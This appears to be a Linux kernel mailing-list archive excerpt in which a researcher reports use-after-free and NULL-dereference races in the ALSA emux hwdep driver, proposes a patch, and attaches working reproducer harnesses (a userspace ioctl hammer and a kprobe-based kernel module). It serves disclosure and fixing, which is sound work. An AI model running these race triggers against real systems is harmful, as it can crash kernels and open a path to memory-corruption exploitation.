+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: synth_test.c --]
[-- Type: text/plain, Size: 8705 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness.
*
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the
* REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
* (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
* fd open. Writes /tmp/synth_loaded when done.
* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */
static void patch_hdr(unsigned char *p, int type, int len, int optarg)
{
struct soundfont_patch_info h;
memset(&h, 0, sizeof(h));
h.key = SNDRV_OSS_SOUNDFONT_PATCH;
h.device_no = 0;
h.sf_id = 0;
h.optarg = optarg;
h.len = len;
h.type = type;
memcpy(p, &h, sizeof(h));
}
static int sf_load(int fd)
{
unsigned char buf[512];
struct soundfont_open_parm parm;
struct soundfont_sample_info si;
struct soundfont_voice_rec_hdr rh;
struct soundfont_voice_info vi;
int rc;
/* OPEN_PATCH */
memset(&parm, 0, sizeof(parm));
parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
strcpy(parm.name, "synthrace");
patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
/* font already open from an earlier round */
if (errno == EBUSY)
return 0;
fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
return -1;
}
/* LOAD_DATA: 1 sample, 64 s16le frames */
memset(&si, 0, sizeof(si));
si.sample = 1;
si.start = 0;
si.end = 64;
si.loopstart = 8;
si.loopend = 56;
si.size = 64;
si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
si.size * 2);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
return -1;
}
/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
* exclusiveClass = 1, tied to sample 1 */
memset(&vi, 0, sizeof(vi));
vi.sf_id = 0;
vi.sample = 1;
vi.root = 60;
vi.high = 127;
vi.velhigh = 127;
vi.fixkey = -1;
vi.fixvel = -1;
vi.fixpan = -1;
vi.pan = -1;
vi.amplitude = 127;
vi.scaleTuning = 100;
vi.exclusiveClass = 1;
memset(&rh, 0, sizeof(rh));
rh.bank = 0;
rh.instr = 0;
rh.nvoices = 1;
rh.write_mode = SNDRV_SFNT_WR_APPEND;
patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
sizeof(rh) + sizeof(vi), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
&vi, sizeof(vi));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
return -1;
}
/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
* LOAD_INFO only enter the preset table at close time (this is the
* real sfxload sequence), so note_on's search_zones() can find them */
patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int plan_load(int secs, int reload)
{
int fd, n = 0;
unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
if (sf_load(fd) < 0) {
close(fd);
return 1;
}
printf("LOAD: font ready\n");
fflush(stdout);
int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (tf >= 0)
close(tf);
while (reload && (unsigned long)time(NULL) < until) {
/* re-load data+info; kernel-side hammer eats the font */
if (sf_load(fd) < 0)
break;
n++;
usleep(2000);
}
printf("LOAD: done (%d reloads)\n", n);
/* keep the fd open until the plan ends (exclusive hwdep) */
sleep(secs > 0 ? secs : 30);
close(fd);
return 0;
}
static int plan_mr03(int iters)
{
int fd, i;
struct snd_emux_misc_mode mm;
unsigned int ver = 0;
int avail = 0;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03: hammering %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
if ((i % 128) == 0) {
printf("MR03: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR03: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR)); /* delayed variant: reopen */
printf("MR03: done\n");
return 0;
}
static int plan_mr04(int iters)
{
int i;
printf("MR04: hammering %d proc-read iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
char buf[4096];
int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd >= 0) {
ssize_t r = read(fd, buf, sizeof(buf));
(void)r;
close(fd);
}
if ((i % 128) == 0) {
printf("MR04: iter %d\n", i);
fflush(stdout);
}
usleep(500);
}
printf("MR04: done\n");
return 0;
}
static int plan_mr04hold(void)
{
char buf[4096];
int fd;
fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open proc: %s\n", strerror(errno));
return 1;
}
printf("MR04HOLD: fd open, reading once\n");
fflush(stdout);
read(fd, buf, sizeof(buf));
printf("MR04HOLD: holding fd for 4s (free happens now)\n");
fflush(stdout);
sleep(4);
off_t ls = lseek(fd, 0, SEEK_SET);
printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
fflush(stdout);
ssize_t rr = read(fd, buf, sizeof(buf));
printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
fflush(stdout);
printf("MR04HOLD: done\n");
close(fd);
return 0;
}
static int plan_mr05(void)
{
int fd, tries;
struct snd_emux_misc_mode mm;
for (tries = 0; tries < 5000; tries++) {
struct stat st;
if (stat("/dev/snd/hwC0D0", &st) == 0)
break;
usleep(1000);
}
if (tries >= 5000) {
fprintf(stderr, "MR05: hwC0D0 never appeared\n");
return 1;
}
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "MR05: open: %s\n", strerror(errno));
return 1;
}
printf("MR05: opened inside probe window, issuing MISC_MODE\n");
fflush(stdout);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
fflush(stdout);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: synth_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "load"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
if (!strcmp(argv[1], "reload"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
if (!strcmp(argv[1], "mr03"))
return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
if (!strcmp(argv[1], "mr04"))
return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
if (!strcmp(argv[1], "mr04hold"))
return plan_mr04hold();
if (!strcmp(argv[1], "mr05"))
return plan_mr05();
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: synthmr05.c --]
[-- Type: text/plain, Size: 4983 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthmr05.c - controlled-window verification for SYNTH-MR-05
* (docs/manual-review-sound-synth-2026-11-26.md §2.5):
*
* snd_emux_register() calls snd_emux_init_hwdep() FIRST, whose
* snd_card_register() publishes /dev/snd/hwC*D* to userspace, and only then
* snd_emux_init_seq() fills emu->portptrs[] (kzalloc'd NULL until then).
* A user opening the hwdep node inside that window and issuing
* SNDRV_EMUX_IOCTL_MISC_MODE hits snd_emux_hwdep_misc_mode() ->
* emu->portptrs[i]->ctrls[..] with portptrs[i] == NULL -> NULL-pointer
* WRITE -> oops.
*
* Controlled window: kprobe on snd_emux_init_seq() stalls the (single-caller)
* probe thread at its entry - i.e., exactly after the hwdep node is exposed
* and before portptrs[] is filled. Userspace polls for the node, opens it,
* issues the ioctl -> deterministic NULL deref. After the stall expires the
* registration completes.
*/
#define pr_fmt(fmt) "SYNTHMR05: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct kprobe mr5_kp;
static struct completion reg_done;
static unsigned int stall_ms = 4000;
module_param(stall_ms, uint, 0400);
static int mr5_start(struct snd_emux_voice *vp) { return 0; }
static void mr5_void1(struct snd_emux_voice *vp) {}
static void mr5_void2(struct snd_emux_voice *vp, int u) {}
static struct snd_emux_voice *mr5_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
return NULL;
}
static int mr5_snew(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h, const void __user *d, long c)
{
sp->block = snd_util_mem_alloc(h, 256);
return sp->block ? 0 : -ENOMEM;
}
static int mr5_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h)
{
if (sp->block) {
snd_util_mem_free(h, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators mr5_ops = {
.owner = THIS_MODULE,
.get_voice = mr5_get_voice,
.prepare = mr5_start,
.trigger = mr5_void1,
.release = mr5_void1,
.update = mr5_void2,
.terminate = mr5_void1,
.sample_new = mr5_snew,
.sample_free = mr5_sfree,
};
static int mr5_reg_pre(struct kprobe *p, struct pt_regs *regs)
{
pr_info("probe thread stalled at snd_emux_init_seq() entry: "
"hwC0D0 exposed, portptrs[] still NULL (window open)\n");
mdelay(stall_ms);
pr_info("probe thread resuming snd_emux_init_seq()\n");
return 0;
}
static int mr5_reg_thread(void *arg)
{
int err;
err = snd_emux_new(&emu);
if (err < 0) {
complete(®_done);
return 0;
}
emu->ops = mr5_ops;
emu->hw = card;
emu->max_voices = 8;
emu->num_ports = 1; /* > 0: drives the buggy loop bound */
emu->midi_ports = 0;
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 */
emu->memhdr = snd_util_memhdr_new(0x100000);
/* registers hwdep (exposes hwC0D0 via snd_card_register) and then
* enters snd_emux_init_seq() -> stalled by the kprobe */
err = snd_emux_register(emu, card, 0, "synthmr05");
pr_info("snd_emux_register returned %d\n", err);
if (err < 0) {
snd_emux_free(emu);
emu = NULL;
}
complete(®_done);
return 0;
}
static int arm_set(const char *val, const struct kernel_param *kparam)
{
struct task_struct *t;
int ret;
if (!card)
return -ENODEV;
memset(&mr5_kp, 0, sizeof(mr5_kp));
mr5_kp.symbol_name = "snd_emux_init_seq";
mr5_kp.pre_handler = mr5_reg_pre;
ret = register_kprobe(&mr5_kp);
if (ret) {
pr_err("register_kprobe(snd_emux_init_seq) failed: %d\n", ret);
return ret;
}
init_completion(®_done);
t = kthread_run(mr5_reg_thread, NULL, "synthmr05_reg");
if (IS_ERR(t)) {
unregister_kprobe(&mr5_kp);
return PTR_ERR(t);
}
pr_info("armed: probe thread started, window open for ~%ums\n",
stall_ms);
return 0;
}
static const struct kernel_param_ops arm_ops = { .set = arm_set };
module_param_cb(arm, &arm_ops, NULL, 0200);
static int __init synthmr05_init(void)
{
int err;
init_completion(®_done);
parent = root_device_register("synthmr05");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 0, "synthmr05", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return 0;
}
static void __exit synthmr05_exit(void)
{
wait_for_completion_timeout(®_done, msecs_to_jiffies(30000));
unregister_kprobe(&mr5_kp);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthmr05_init);
module_exit(synthmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-05 probe-window race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl)
2026-12-01 3:25 ` [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl) 徐晗翔
@ 2026-12-01 11:56 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 11:56 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: this is still present on v7.4-rc5 -- opening /dev/snd/hwC*D0 inside the probe window and issuing SNDRV_EMUX_IOCTL_MISC_MODE still NULL-derefs (BUG: kernel NULL pointer dereference, address 0x18, RIP snd_emux_hwdep_ioctl+0x2da), so the initialization-reorder patch still applies as-is.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 11:25:38 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl)
>
> Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
> sub-driver) pins only the base-card module (try_module_get of
> hw->card->module in snd_hwdep_open()); the emux sub-driver module is
> not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
> sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
> which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
> list (snd_sf_free()) and the struct snd_emux itself -- while the fd
> stays open with file->private_data pointing at the freed hwdep and
> in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
> holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
> hwdep->used nor replaces f_op the way a whole-card disconnect does).
> Verified on mainline 7.3 with a KASAN kernel and the real in-tree
> snd-emux-synth module (harness attached): one hundred slab-use-after-free
> reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
> across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
> dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
> UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
> and, with rmmod, the module text can additionally be unloaded while
> those callbacks are still running (snd_hwdep_f_ops.owner pins the
> snd-hwdep module, not the emux one). Needs the synth sub-driver
> probed; triggering the in-flight overlap needs only /dev/snd access.
> Consequences: multi-object UAF read/write (function pointer tables,
> mutex objects) and execution of unloaded module text -- crashes and a
> controlled indirect-call surface.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
> QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
> sound/core/rawmidi.c are byte-identical between the tested tree and
> the report baseline.
>
> * Mechanism
>
> - snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
> hwdep registers no ops.open/ops.release hooks
> (emux_hwdep.c:126-131), so nothing increments snd_emux usage for
> hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
> open both go through snd_emux_inc_count(), which also pins
> emu->ops.owner -- the sub-driver module).
> - snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
> without holding hw->open_mutex; the emux ioctl touches
> hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
> - The sub-driver removal path snd_emux_free() (emux.c:124-143)
> performs snd_emux_delete_hwdep() -> snd_device_free() ->
> snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
> does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
> (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
> kfree(emu) -- none of it waits for hwdep->used to drop.
> - Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
> replaces open fds' f_op with snd_shutdown_f_ops and the teardown
> waits for all files to close before the free sequence runs. The
> sub-driver independent removal bypasses that protocol entirely --
> that bypass is the defect.
>
> The same shape exists for the emux virtual rawmidi devices
> (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
> snd_rawmidi_open() likewise only pins the card module and
> snd_rawmidi_free() kfrees unconditionally), and for the probe error
> path of snd_emux_register() (init_hwdep registers the device, then a
> later init_seq failure frees everything through snd_emux_free()).
> This patch fixes the hwdep fd face; the rawmidi face is mentioned
> for completeness and needs the equivalent treatment.
>
> * Trigger model
>
> emu10k1/emu8000 hardware with the synth sub-driver probed
> (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
> fd open and issues ioctls; another (root, or hot-unplug hardware
> event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
> no sub-driver module refcount) or writes the driver's unbind file.
> Consequence: UAF read/write on struct snd_hwdep (function pointer
> table hw->ops, hw->used decrement), struct snd_emux, struct
> snd_sf_list (presets_mutex operations on freed memory) and the
> portptrs targets, plus execution of already-unloaded module text in
> the rmmod case.
>
> * Reproducer and results on 7.3
>
> synthrace.c registers the real in-tree emux on a virtual card
> (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
> synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
> writing 1 to the module's "free" parameter runs the real
> snd_emux_free() (the sub-driver remove body) under the hammer.
>
> Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
> snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
> portptrs accesses, including a UAF write) and
> snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
> disabled stays clean.
>
> * Fix
>
> Give hwdep fds the same user accounting the sequencer and OSS paths
> already have, and make the sub-driver removal wait for them:
>
> - register hw->ops.open / hw->ops.release calling
> snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
> try_module_get()s emu->ops.owner (the sub-driver module), so an
> open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
> - count open fds additionally in a new atomic emu->hwdep_users and
> make snd_emux_free() wait for it to drain (at the top, before any
> sub-structure is torn down, so in-flight ioctls cannot observe
> partially freed state either).
>
> sysfs unbind bypasses module refcounts, which is why the drain wait
> is needed in addition to the refcount. This matches the semantics
> the whole-card path already provides (snd_card_disconnect() waits
> for open files before anything is freed).
>
> The patch is a suggested direction, written against 7.3 and reviewed
> by inspection; it has not been runtime-validated (the reported
> reproduction used the unpatched kernel). Happy to test any
> counter-proposal.
>
> * Patch
>
> [PATCH] ALSA: emux: drain open hwdep users before freeing emux
> structures
>
> snd_emux_free() (the sub-driver remove path, reachable via
> rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
> the soundfont list and the struct snd_emux without waiting for open
> hwdep file descriptors: hwdep fds pin only the base-card module, the
> emux hwdep registers no open/release hooks, and an in-flight
> snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
> later operation on the stale fd hits freed memory. KASAN on 7.3 shows
> 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
> interleave.
>
> Register hwdep open/release hooks that take snd_emux_inc_count()
> (also pinning emu->ops.owner against rmmod, like the sequencer and
> OSS-sequencer paths already do), count them in a new emu->hwdep_users,
> and make snd_emux_free() wait for that count to drain before tearing
> anything down -- mirroring the drain that snd_card_disconnect()
> performs for whole-card removal. Note that sysfs unbind is not
> covered by module refcounts, which is why the drain wait is required
> in addition to the refcount.
>
> --- a/include/sound/emux_synth.h
> +++ b/include/sound/emux_synth.h
> @@ -99,6 +99,8 @@ struct snd_emux {
> int use_time; /* allocation counter */
> spinlock_t voice_lock; /* Lock for voice access */
> struct mutex register_mutex;
> + atomic_t hwdep_users; /* open hwdep fds */
> + wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
> int client; /* For the sequencer client */
> int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
> --- a/sound/synth/emux/emux.c
> +++ b/sound/synth/emux/emux.c
> @@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
> spin_lock_init(&emu->voice_lock);
> mutex_init(&emu->register_mutex);
> + atomic_set(&emu->hwdep_users, 0);
> + init_waitqueue_head(&emu->free_wait);
> emu->client = -1;
> @@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
> if (! emu)
> return -EINVAL;
>
> timer_shutdown_sync(&emu->tlist);
> +
>
>
> + wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
>
> snd_emux_proc_free(emu);
> snd_emux_delete_virmidi(emu);
> --- a/sound/synth/emux/emux_hwdep.c
> +++ b/sound/synth/emux/emux_hwdep.c
> @@ (before snd_emux_hwdep_ioctl)
>
>
> +static int
> +snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + if (!snd_emux_inc_count(emu))
> + return -EFAULT;
> + atomic_inc(&emu->hwdep_users);
> + return 0;
> +}
> +
> +static int
> +snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + atomic_dec(&emu->hwdep_users);
> + wake_up(&emu->free_wait);
> + snd_emux_dec_count(emu);
> + return 0;
> +}
> +
> +
> /*
> * ioctl
> */
> static int
> snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
> @@ -120,6 +166,9 @@ int
> hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
> hw->ops.ioctl = snd_emux_hwdep_ioctl;
> /* The ioctl parameter types are compatible between 32- and
> * 64-bit architectures, so use the same function. */
> hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
> + hw->ops.open = snd_emux_hwdep_open;
> + hw->ops.release = snd_emux_hwdep_release;
> hw->exclusive = 1;
> hw->private_data = emu;
> --
> 2.47.1
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (16 preceding siblings ...)
2026-12-01 3:25 ` [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl) 徐晗翔
@ 2026-12-01 3:27 ` 徐晗翔
2026-12-01 11:56 ` 徐晗翔
2026-12-01 4:28 ` ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free) 徐晗翔
` (23 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 3:27 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 9469 bytes --]
Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
sub-driver) pins only the base-card module (try_module_get of
hw->card->module in snd_hwdep_open()); the emux sub-driver module is
not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
list (snd_sf_free()) and the struct snd_emux itself -- while the fd
stays open with file->private_data pointing at the freed hwdep and
in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
hwdep->used nor replaces f_op the way a whole-card disconnect does).
Verified on mainline 7.3 with a KASAN kernel and the real in-tree
snd-emux-synth module (harness attached): one hundred slab-use-after-free
reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
and, with rmmod, the module text can additionally be unloaded while
those callbacks are still running (snd_hwdep_f_ops.owner pins the
snd-hwdep module, not the emux one). Needs the synth sub-driver
probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables,
mutex objects) and execution of unloaded module text -- crashes and a
controlled indirect-call surface.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
sound/core/rawmidi.c are byte-identical between the tested tree and
the report baseline.
* Mechanism
- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
hwdep registers no ops.open/ops.release hooks
(emux_hwdep.c:126-131), so nothing increments snd_emux usage for
hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
open both go through snd_emux_inc_count(), which also pins
emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
without holding hw->open_mutex; the emux ioctl touches
hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
- The sub-driver removal path snd_emux_free() (emux.c:124-143)
performs snd_emux_delete_hwdep() -> snd_device_free() ->
snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
(hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
kfree(emu) -- none of it waits for hwdep->used to drop.
- Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
replaces open fds' f_op with snd_shutdown_f_ops and the teardown
waits for all files to close before the free sequence runs. The
sub-driver independent removal bypasses that protocol entirely --
that bypass is the defect.
The same shape exists for the emux virtual rawmidi devices
(snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
snd_rawmidi_open() likewise only pins the card module and
snd_rawmidi_free() kfrees unconditionally), and for the probe error
path of snd_emux_register() (init_hwdep registers the device, then a
later init_seq failure frees everything through snd_emux_free()).
This patch fixes the hwdep fd face; the rawmidi face is mentioned
for completeness and needs the equivalent treatment.
* Trigger model
emu10k1/emu8000 hardware with the synth sub-driver probed
(hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
fd open and issues ioctls; another (root, or hot-unplug hardware
event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
no sub-driver module refcount) or writes the driver's unbind file.
